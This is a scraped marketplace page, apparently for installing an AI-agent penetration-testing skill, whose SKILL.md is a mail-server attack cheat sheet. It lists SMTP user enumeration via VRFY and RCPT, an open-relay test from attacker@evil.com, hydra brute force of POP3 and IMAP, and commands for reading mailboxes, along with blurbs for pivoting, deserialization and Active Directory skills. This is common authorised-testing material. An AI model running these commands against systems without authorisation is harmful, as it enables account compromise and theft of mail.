菜单
Mail server attack techniques — SMTP open relay, VRFY/EXPN/RCPT user enumeration, header injection, IMAP/POP3 access. Use when a mail service is found. Triggers - SMTP 25/465/587, POP3 110, IMAP 143, Postfix/Exim/Sendmail/Dovecot banner, VRFY.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/s0ld13rr/pentestcode --skill svc-mail命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Turn a foothold into a RELIABLE pivot (SOCKS tunnel + persistent shell) so internal volume never rides a fragile stateless RCE. Use the moment you have code-exec on a dual-homed/edge host and need to reach an internal segment. Triggers - dual-homed host, "not reachable from my box", internal CIDR behind a foothold, RCE truncates output, need proxychains/nmap through a host, chisel/ligolo.
Insecure deserialization to RCE for web apps. Use when the app deserializes attacker-controlled data - cookies/tokens/hidden fields/params that are serialized blobs, VIEWSTATE, Java/PHP/.NET/Python/Node apps. Triggers - base64 starting rO0AB or hex AC ED 00 05 (Java), PHP serialize O-prefix, __VIEWSTATE, python pickle, node-serialize, unserialize error, ObjectInputStream.
Active Directory pentest playbook — Kerberos, LDAP, GPO, ADCS, delegation, lateral movement, DA paths. Load at the START of an AD engagement or when a Windows domain / DC is found. Triggers - domain controller, Kerberos 88, LDAP 389/636, domain SMB, BloodHound, kerberoast, AS-REP, NTLM, ESC1-8.
基于 SOC 职业分类
正在显示 SKILL.md
| name | svc-mail |
| description | Mail server attack techniques — SMTP open relay, VRFY/EXPN/RCPT user enumeration, header injection, IMAP/POP3 access. Use when a mail service is found. Triggers - SMTP 25/465/587, POP3 110, IMAP 143, Postfix/Exim/Sendmail/Dovecot banner, VRFY. |
# Banner grab and commands
nc -nv <target> 25
nmap --script smtp-commands,smtp-enum-users,smtp-open-relay -p 25 <target>
# User enumeration via VRFY
telnet <target> 25
VRFY root
VRFY admin
VRFY <username>
# User enumeration via RCPT TO
EHLO test
MAIL FROM:<test@test.com>
RCPT TO:<admin@<domain>> # 250 = exists, 550 = doesn't
# Automated user enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t <target>
smtp-user-enum -M RCPT -U users.txt -D <domain> -t <target>
# Test relay
telnet <target> 25
EHLO test
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@external.com>
DATA
Subject: Relay Test
Relay test body
.
QUIT
# Nmap check
nmap --script smtp-open-relay -p 25 <target>
# Banner grab
nc -nv <target> 110
nc -nv <target> 143
# POP3 brute force
hydra -l <user> -P wordlist.txt pop3://<target>
# IMAP brute force
hydra -l <user> -P wordlist.txt imap://<target>
# If authenticated (POP3)
USER <username>
PASS <password>
LIST
RETR 1
# If authenticated (IMAP)
a1 LOGIN <user> <password>
a2 LIST "" "*"
a3 SELECT INBOX
a4 FETCH 1 BODY[]
/owa/, /ecp/ — brute force, spray/squirrelmail/ — old versions have RCE